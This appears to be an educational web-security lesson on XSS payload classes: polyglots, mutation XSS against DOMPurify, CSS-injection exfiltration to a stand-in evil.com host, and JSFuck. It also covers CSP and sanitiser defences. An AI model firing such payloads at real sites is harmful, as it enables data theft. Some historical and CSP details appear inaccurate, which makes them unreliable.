XSS Payload Techniques
Polyglots, mXSS, scriptless XSS. The payloads that work across filters, encoders, and sanitizers — and how to recognise them by structure, not by alert().
Polyglots, mXSS, scriptless XSS. The payloads that work across filters, encoders, and sanitizers — and how to recognise them by structure, not by alert().
Once you understand the basic <script>alert(1)</script>, the real craft begins. Real-world filters and WAFs do not fall for the obvious payloads. Attackers have developed specialised techniques that mutate, camouflage, or circumvent sanitizers entirely. This lesson catalogues the most important XSS vector classes.
A WAF that blocks <script> has already raised the bar above the simplest attacks. But the XSS attack surface is vast. Event handlers, CSS url() values, SVG namespaces, import stylesheets, and even the browser's HTML re-parsing algorithm all provide alternative execution paths. Polyglot payloads exploit the intersection of multiple contexts — they break out of an HTML attribute, land in a JavaScript string, and execute regardless of which escaping scheme the developer half-applied.
Mutation XSS is particularly insidious because it targets the validator, not the application. Libraries like DOMPurify check input as a parsed DOM tree. If the sanitizer sees a harmless <noscript> or<math> element, it passes the input through. But when the browser inserts that HTML via innerHTML, it re-parses the string and the elements mutate — the nested hidden payload becomes active.
<!-- Polyglot: works in attribute + JS contexts -->
<img src="x" onerror="alert(1)" />
<!-- mXSS: sanitizer sees safe DOM, browser re-parses differently -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- CSS injection: exfiltrate via background-image -->
<style>body{background:url(https://evil.com/steal?data=TOP_SECRET)}</style>
<!-- JSFuck: no alphanumeric characters -->
<script>[][(![]+[])[+[]]]+... = alert(1)</script>Select a vector type below to see its raw HTML and a side-by-side comparison of how the browser interprets it with and without a sanitizer. Toggle the sanitizer to see which vectors it catches and which slip through.
<!-- VULNERABLE — raw injection -->
<a href="/profile"onmouseover="alert(1)">View</a>In 2015, security researcher Mario Heiderich disclosed a mutation XSS vulnerability in Google Chrome itself. The browser's HTML parser treated <noscript> content differently during innerHTML serialisation vs. re-parse. A payload like <noscript><p title="</noscript><img src=x onerror=alert(1)"> passed DOMPurify's checks because the sanitizer parsed it as harmless text inside an attribute. When the browser assigned it to innerHTML, the noscript element mutated, breaking the attribute boundary and creating an active <img> tag with an onerror handler.
Google patched the mutation behaviour, but security researchers subsequently found related bypasses using <math> and<svg> namespace elements. The cat-and-mouse game between browser parsers and sanitizers continues today, with each major browser version introducing new mutation surfaces.
No single library catches every vector. DOMPurify is the most battle-tested HTML sanitizer, but even it has been bypassed by mXSS techniques. The defence-in-depth approach combines server-side context-aware escaping with a strict CSP that blocks inline scripts and eval, plus a separate sanitisation step for any user-submitted HTML.
For CSS injection specifically, the style-src CSP directive should be as restrictive as possible, and user-supplied CSS values should be validated against a whitelist of allowed properties. JSFuck-style attacks are mitigated by blocking eval via 'unsafe-eval' in CSP.
1.Why does mutation XSS bypass client-side sanitizers like DOMPurify?
2.How does CSS injection exfiltrate data without executing JavaScript?
3.What makes JSFuck effective against WAFs?